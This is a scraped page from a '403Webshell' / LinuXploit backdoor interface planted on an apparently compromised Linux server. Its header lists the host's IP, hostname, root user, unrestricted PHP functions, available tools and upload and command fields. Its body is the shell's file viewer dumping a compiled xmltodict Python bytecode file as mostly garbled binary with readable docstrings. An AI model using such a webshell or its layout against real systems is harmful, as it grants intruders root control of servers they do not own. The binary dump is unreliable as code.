403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/__pycache__/xmltodict.cpython-312.pyc
�

ld�h�Q��*�dZ	ddlmZddlmZddlm	Z		ddl
mZe
ZddlZeeeej&�dd��d	krdd
lmZddlmZ	eZ	eZdZd
ZdZ Gd�de!�Z"Gd�de#�Z$deddddfd�Z%d�Z&d�Z'd�Z(d!d�Z)											d"d�Z*		d#d�Z+e,dk(rnddl-Z-ddl.Z.	e-j^j`Z/e-jbj`Z1e-jfdd\Z4ee4�Z4d�Z5	e%e/e4e5e
� �Z6e4dk(r
e5ge6�yyy#e$r
ddlmZY��wxYw#e$r	ddlmZn#e$r	ddlmZYnwxYwY��+wxYw#e$reZY��wxYw#e$reZY��
wxYw#e2$re-j^Z/e-jbZ1Y��wxYw#e7$rYywxYw)$z:Makes working with XML feel like you are working with JSON�)�pyexpat)�expat)�XMLGenerator)�AttributesImpl)�StringION�)��)�OrderedDict)�isgeneratorzMartin Blechz0.13.0�MITc��eZdZy)�ParsingInterruptedN)�__name__�
__module__�__qualname__���+/usr/lib/python3/dist-packages/xmltodict.pyrr's��rrc�h�eZdZdd�ddddddedd	ddd
fd�Zd�Zd
�Zd�Zd�Zd�Z	d�Z
d�Zd�Zd�Z
y)�_DictSAXHandlerrc��y�NTr)�argss r�<lambda>z_DictSAXHandler.<lambda>.��rT�@�#textF�N�:z#commentc��g|_g|_g|_d|_||_||_||_||_||_||_	||_
||_|	|_|
|_
||_||_|	�|_|
|_||_y�N)�path�stack�data�item�
item_depth�xml_attribs�
item_callback�attr_prefix�	cdata_key�force_cdata�cdata_separator�
postprocessor�dict_constructor�strip_whitespace�namespace_separator�
namespaces�namespace_declarations�
force_list�comment_key)�selfr'r)r(r*r+r,r-r.r/r0r1r2r4r5s               r�__init__z_DictSAXHandler.__init__,s�����	���
���	���	�$���&���*���&���"���&���.���*��� 0��� 0���#6�� �$���&6�&8��#�$���&��rc��|j�|S|j|j�}|dk(r|S|d|||dzd}}	|j|}|s|S|jj	||f�S#t$r|}Y�.wxYw)N����)r2�rfindr1�KeyError�join)r6�	full_name�i�	namespace�name�short_namespaces      r�_build_namez_DictSAXHandler._build_nameOs����?�?�"����O�O�D�4�4�5����7���#�B�Q�-��1�Q�3�4��4�	�	(�"�o�o�i�8�O���K��+�+�0�0�/�4�1H�I�I���	(�'�O�	(�s�A/�/A=�<A=c	�t�t|t�r|S|jt|ddd�|ddd���S)Nrrr:)�
isinstance�dictr/�zip)r6�attrss  r�_attrs_to_dictz_DictSAXHandler._attrs_to_dict_s=���e�T�"��L��$�$�S��q�t�!�t��e�A�D�q�D�k�%B�C�Crc�*�||j|xsd<y)Nr)r3)r6�prefix�uris   r�startNamespaceDeclz"_DictSAXHandler.startNamespaceDeclds��47��#�#�F�L�b�1rc���|j|�}|j|�}|r0|jr$|j|d<|j�|_|jj||xsdf�t
|j�|jkDr�|jj|j|jf�|jr�g}|j�D]e\}}|j|j|�z}|jr|j|j||�}n||f}|s�U|j|��g|j|�}nd}|xsd|_	g|_
yy)N�xmlns)rCrIr3r/r#�append�lenr'r$r&r%r(�itemsr*r.)r6r>rHrA�attr_entries�key�value�entrys        r�startElementz_DictSAXHandler.startElementgsF�����	�*���#�#�E�*���T�0�0�!�8�8�E�'�N�*.�*?�*?�*A�D�'��	�	���$��
��.�/��t�y�y�>�D�O�O�+��J�J���t�y�y�$�)�)�4�5����!��"'�+�+�-�3�J�C���*�*�4�+;�+;�C�+@�@�C��)�)� $� 2� 2�4�9�9�c�5� I��!$�e����$�+�+�E�2�3��-�-�l�;�����
��D�I��D�I�!,rc���|j|�}t|j�|jk(ri|j}|�3|j
sdn$|jj|j
�}|j|j|�}|s
t��|j�r|j
sdn$|jj|j
�}|j}|jj�\|_|_|jr|r|j�xsd}|r|jr|�|j�}|�B|r|j!||j"|�|j!|j||�|_n1|j!|j||�|_nd|_g|_|jj�yr")rCrQr#r'r&r%r-r=r)rr$�popr0�stripr,r/�	push_datar+)r6r>rAr&�should_continuer%s      r�
endElementz_DictSAXHandler.endElement�sm�����	�*���t�y�y�>�T�_�_�,��9�9�D��|�$(�I�I��!�1�1�6�6�t�y�y�A��#�0�0����D�A�O�"�(�*�*��:�:� $�	�	�D��-�-�2�2�4�9�9�=�
��9�9�D�#'�:�:�>�>�#3� �D�I�t�y��$�$���z�z�|�+�t����(�(�T�\��,�,�.������N�N�4�����>� �N�N�4�9�9�d�D�A��	� �N�N�4�9�9�d�D�A��	��D�I��D�I��	�	�
�
�rc�d�|js	|g|_y|jj|�yr")r%rP�r6r%s  r�
charactersz_DictSAXHandler.characters�s$���y�y���D�I��I�I���T�"rc��|jr|j�}|j|j|j|�|_yr")r0rZr[r&r5r_s  r�commentsz_DictSAXHandler.comments�s4��� � ��:�:�<�D��N�N�4�9�9�d�.>�.>��E��	rc�P�|j�&|j|j||�}|�|S|\}}|�|j�}	||}t|t�r|j|�|S||g||<	|S#t$r$|j||�r	|g||<Y|S|||<Y|SwxYwr")r.r#r/rE�listrPr<�_should_force_list)r6r&rTr%�resultrUs      rr[z_DictSAXHandler.push_data�s������)��'�'��	�	�3��=�F��~����I�C���<��(�(�*�D�
	!���I�E��%��&����T�"���
#�D�M��S�	�����	!��&�&�s�D�1�!�F��S�	���!��S�	���	!�s�&A8�.A8�8!B%�B%�$B%c���|jsyt|jt�r|jS	||jvS#t$r#|j|jdd||�cYSwxYw)NFr9)r4rE�bool�	TypeErrorr#)r6rTrUs   rrez"_DictSAXHandler._should_force_list�sd�������d�o�o�t�,��?�?�"�	?��$�/�/�)�)���	?��?�?�4�9�9�S�b�>�3��>�>�	?�s�
A�)A/�.A/)rrr�_dictr7rCrIrMrWr]r`rbr[rerrrrr+sb���1�!� �"�"�!#�#�"'�"&�%(� � �'�!'�FJ� D�
8��2�>#�F�
�*?rrFr Tc��tdd|i|��}t|t�r|sd}|j|�}|sd}|j||�}		d|	_|j|	_|j|	_
|j|	_|j|	_|r|j|	_d|	_|r	d}
|	j$j'|
d�t-|d�r|	j/|�|j4St1|�r7|D]}|	j3|d	��|	j3d
d�|j4S|	j3|d�|j4S#t$rY��wxYw#t$rd�|	_d�|	_Y��wxYw)aParse the given XML input and convert it into a dictionary.

    `xml_input` can either be a `string`, a file-like object, or a generator of strings.

    If `xml_attribs` is `True`, element attributes are put in the dictionary
    among regular child elements, using `@` as a prefix to avoid collisions. If
    set to `False`, they are just ignored.

    Simple example::

        >>> import xmltodict
        >>> doc = xmltodict.parse("""
        ... <a prop="x">
        ...   <b>1</b>
        ...   <b>2</b>
        ... </a>
        ... """)
        >>> doc['a']['@prop']
        u'x'
        >>> doc['a']['b']
        [u'1', u'2']

    If `item_depth` is `0`, the function returns a dictionary for the root
    element (default behavior). Otherwise, it calls `item_callback` every time
    an item at the specified depth is found and returns `None` in the end
    (streaming mode).

    The callback function receives two parameters: the `path` from the document
    root to the item (name-attribs pairs), and the `item` (dict). If the
    callback's return value is false-ish, parsing will be stopped with the
    :class:`ParsingInterrupted` exception.

    Streaming example::

        >>> def handle(path, item):
        ...     print('path:%s item:%s' % (path, item))
        ...     return True
        ...
        >>> xmltodict.parse("""
        ... <a prop="x">
        ...   <b>1</b>
        ...   <b>2</b>
        ... </a>""", item_depth=2, item_callback=handle)
        path:[(u'a', {u'prop': u'x'}), (u'b', None)] item:1
        path:[(u'a', {u'prop': u'x'}), (u'b', None)] item:2

    The optional argument `postprocessor` is a function that takes `path`,
    `key` and `value` as positional arguments and returns a new `(key, value)`
    pair where both `key` and `value` may have changed. Usage example::

        >>> def postprocessor(path, key, value):
        ...     try:
        ...         return key + ':int', int(value)
        ...     except (ValueError, TypeError):
        ...         return key, value
        >>> xmltodict.parse('<a><b>1</b><b>2</b><b>x</b></a>',
        ...                 postprocessor=postprocessor)
        {'a': {'b:int': [1, 2], 'b': 'x'}}

    You can pass an alternate version of `expat` (such as `defusedexpat`) by
    using the `expat` parameter. E.g:

        >>> import defusedexpat
        >>> xmltodict.parse('<a>hello</a>', expat=defusedexpat.pyexpat)
        {'a': 'hello'}

    You can use the force_list argument to force lists to be created even
    when there is only a single child of a given level of hierarchy. The
    force_list argument is a tuple of keys. If the key for a given level
    of hierarchy is in the force_list argument, that level of hierarchy
    will have a list as a child (even if there is only one sub-element).
    The index_keys operation takes precedence over this. This is applied
    after any user-supplied postprocessor has already run.

        For example, given this input:
        <servers>
          <server>
            <name>host1</name>
            <os>Linux</os>
            <interfaces>
              <interface>
                <name>em0</name>
                <ip_address>10.0.0.1</ip_address>
              </interface>
            </interfaces>
          </server>
        </servers>

        If called with force_list=('interface',), it will produce
        this dictionary:
        {'servers':
          {'server':
            {'name': 'host1',
             'os': 'Linux'},
             'interfaces':
              {'interface':
                [ {'name': 'em0', 'ip_address': '10.0.0.1' } ] } } }

        `force_list` can also be a callable that receives `path`, `key` and
        `value`. This is helpful in cases where the logic that decides whether
        a list should be forced is more complex.


        If `process_comment` is `True` then comment will be added with comment_key
        (default=`'#comment'`) to then tag which contains comment

            For example, given this input:
            <a>
              <b>
                <!-- b comment -->
                <c>
                    <!-- c comment -->
                    1
                </c>
                <d>2</d>
              </b>
            </a>

            If called with process_comment=True, it will produce
            this dictionary:
            'a': {
                'b': {
                    '#comment': 'b comment',
                    'c': {

                        '#comment': 'c comment',
                        '#text': '1',
                    },
                    'd': '2',
                },
            }
    r1�utf-8NTz4http://apache.org/xml/features/disallow-doctype-declc��yr"r��xs rrzparse.<locals>.<lambda>prrc��y)Nr:rrns rrzparse.<locals>.<lambda>rrr�readFrr)rrE�_unicode�encode�ParserCreate�ordered_attributes�AttributeErrorrM�StartNamespaceDeclHandlerrW�StartElementHandlerr]�EndElementHandlerr`�CharacterDataHandlerrb�CommentHandler�buffer_text�_reader�
setFeature�DefaultHandler�ExternalEntityRefHandler�hasattr�	ParseFiler�Parser&)�	xml_input�encodingr�process_namespacesr1�disable_entities�process_comments�kwargs�handler�parser�feature�chunks            r�parser��s���L�(�2E�(� &�(�G��)�X�&���H��$�$�X�.�	��"��
�U�
�
����F�
�$(��!�(/�'A�'A�F�$�!(�!5�!5�F��&�1�1�F��")�"4�"4�F��� '� 0� 0����F���		;�L�G��N�N�%�%�g�t�4��y�&�!�����#��<�<��

�Y�	��	&�E��L�L��u�%�	&����S����<�<��	���Y��%��<�<���;�
��
���	;�%3�F�!�.:�F�+�	;�s$�E�3E*�	E'�&E'�*F�Fc�:�t|t�xr
d|vxsd|vS)z�Return True if value (a str) contains '<' or '>'.

    Non-string values return False. Uses fast substring checks implemented in C.
    �<�>)rE�str�rUs r�_has_angle_bracketsr�~s#��
�e�S�!�D�s�e�|�'C�s�e�|�Drc�b�t|t�syd|vsd|vsd|vrytd�|D��S)z�Return True if value (a str) contains any disallowed name characters.

    Disallowed: '<', '>', '/', or any whitespace character.
    Non-string values return False.
    Fr�r��/Tc3�<K�|]}|j����y�wr"��isspace��.0�chs  r�	<genexpr>z*_has_invalid_name_chars.<locals>.<genexpr>�s����,��r�z�z�|�,���)rEr��anyr�s r�_has_invalid_name_charsr��s8���e�S�!��
�e�|�s�e�|�s�e�|���,�e�,�,�,rc�8�t|t�st|�d���|jd�s|jd�rtd|�d���d|vsd|vrtd|�d���d	|vrtd|�d
���t	d�|D��rtd|�d���y
)z�Validate an element/attribute name for XML safety.

    Raises ValueError with a specific reason when invalid.

    kind: 'element' or 'attribute' (used in error messages)
    z name must be a string�?�!zInvalid z# name: cannot start with "?" or "!"r�r�z name: "<" or ">" not allowedr�z name: "/" not allowedc3�<K�|]}|j����y�wr"r�r�s  rr�z!_validate_name.<locals>.<genexpr>�s����
(�B�2�:�:�<�
(�r�z name: whitespace not allowedN)rEr��
ValueError�
startswithr�)rU�kinds  r�_validate_namer��s����e�S�!��D�6�!7�8�9�9������� 0� 0�� 5��8�D�6�)L�M�N�N�
�e�|�s�e�|��8�D�6�)F�G�H�H�
�e�|��8�D�6�)?�@�A�A�
�
(�%�
(�(��8�D�6�)F�G�H�H�)rc��t|t�s|S|s|S	|j|d�\}}|j|j	|��}|r)dj|j
|�r|nd|||�}|S|}|S#t$rY|SwxYw)Nr:z{}{}{}{}r)rEr��rsplit�getrZ�formatr�r�)rAr2�ns_sepr*�ns�ns_ress      r�_process_namespacer��s����d�C� ������6��;�;�v�q�)���D�������� 5�6��&,�� � ��=�=��5�K�2��F�D�"���K�26�	
��K���
���K�
�s�A<�<	B	�B	c��t|||
|�}|�|||�}|�y|\}}t|d�t|d�r t|t�st|t
�r|g}t
|�D�]�\}}|r|dk(r|dkDrtd��|�t�}nrt|t�r|rtd�}nTtd�}nHt|t
�s8|
r+t|d�rt|t�st|
|ff�}nt|�}t|t�rt||ff�}d}t�}g}|j�D]�\}}||k(r|}�t|t�r�|j|�r�t|||
|�}|dk(rgt|t
�rW|j�D]C\}}t|d�d	j|rd
j|�nd�}t|�||<�E��t|t�st|�}|t|�d}t|d�|||<��|j!||f���|r|j#||	z�|j%|t'|��|r|r|j#|�|D] \}}t)||||||dz||||	||
|
�
�
�"|�|j+|�|r|r|j#||	z�|j-|�|s��}|s���|j#|����y)N�element�__iter__rzdocument with multiple roots�true�falsez@xmlns�	attributezxmlns{}z:{}rr:)r2r1�expand_iter)r�r�r�rE�_basestringrF�	enumerater�rjrhrrrRr�r�r�rQrP�ignorableWhitespacerWr�_emitr`r])rTrU�content_handlerr*r+�depth�preprocessor�pretty�newl�indentr1r2�
full_documentr�rf�index�v�cdatarH�children�ik�iv�k�attr�	attr_name�	child_key�child_values                           rr�r��s����S�*�.A�;�
O�C����c�5�)���>���
��U��3�	�"��E�:�&��%��-��%��&�����e�$�96���q��U�a�Z�E�A�I��;�<�<��9���A�
��4�
 ���V�$���W�%���A�t�$��w�q�*�5�j��K�>X��K��+�-�.���Q�K���a��%��	�1�~�'�(�A���������g�g�i�	&�F�B���Y������"�c�"�r�}�}�[�'A�'��J�8K�(3�5����>�j��T�&:� "���
�2���1�&�q�+�6�(�/�/�1����Q��"�M��&.�q�k��d��2��!�"�h�/�!�"��B��s�;�/�1�2�	��y�+�6�#%��i� ���O�O�R��H�%�'	&�(��/�/����?��$�$�S�.��*?�@��h��/�/��5�&.�	+�"�I�{��)�[�/��y�%��'�<��$��:�&9�)�	
+�	+����&�&�u�-��h��/�/����?��"�"�3�'��e��/�/��5�s96rc��|rt|�dk7rtd��d}|�t�}d}|rt||d�}nt||�}|r|j	�|j�D]\}}	t
||	|fd|i|���|r|j�|r$|j�}		|	j|�}	|	Sy#t$rY|	SwxYw)axEmit an XML document for the given `input_dict` (reverse of `parse`).

    The resulting XML document is returned as a string, but if `output` (a
    file-like object) is specified, it is written there instead.

    Dictionary keys prefixed with `attr_prefix` (default=`'@'`) are interpreted
    as XML node attributes, whereas keys equal to `cdata_key`
    (default=`'#text'`) are treated as character data.

    The `pretty` parameter (default=`False`) enables pretty-printing. In this
    mode, lines are terminated with `'
'` and indented with `'	'`, but this
    can be customized with the `newl` and `indent` parameters.

    r:z$Document must have exactly one root.FNTr�)rQr�rr�
startDocumentrRr��endDocument�getvalue�decoderv)
�
input_dict�outputr�r��short_empty_elementsr��must_returnr�rTrUs
          r�unparser�s���"��Z��A�-��?�@�@��K�
�~�������&�v�x��>��&�v�x�8����%�%�'� �&�&�(��
��U�
�c�5�/�	��	��	����#�#�%�����!��	��L�L��*�E���
���	����	�s�'B;�;	C�C�__main__r:c�<�tj||ft�yr)�marshal�dump�stdout)r#r&s  r�handle_itemr�Ds�����d�D�\�6�*�r)r'r)r/)r r)rrrNF�
�	r NTN)NrlTF)8�__doc__�defusedexpatrr�ImportError�xml.parsers�xml.sax.saxutilsr�xml.sax.xmlreaderr�	cStringIOr�iorFrj�platform�tuple�map�int�python_version_tuple�collectionsr�inspectr�
basestringr��	NameErrorr��unicoderr�
__author__�__version__�__license__�	Exceptionr�objectrr�r�r�r�r�r�r�r�sysr��stdin�bufferr�rv�argvr'r��root�KeyboardInterruptrrr�<module>r�s+��<�"�-�*�,� �"�	
�����S�/�(�/�/�1�"�1�5�	6�7�&�@�0����K���H��
�����	��	�\?�f�\?�~#�%�E�!�D�5�q�hE�-�I�&�$�������!����Q6�hFJ�!&�(�V�z������	�	� � �����"�"��
�H�H�Q�R�L�M�Z��Z��J��
��U� *�#.�&*�,����?���D�!��-��c�"�!�!�"��� � �%��� �� �� �����K������H���|���	�	��������$�
��
�s��D�D'�E�E�/,E'�8F
�D$�#D$�'E	�-D4�3E	�4E�?E	�E�E	�E	�E�E�E$�#E$�'F�F�
F�F

Youez - 2016 - github.com/yon3zu
LinuXploit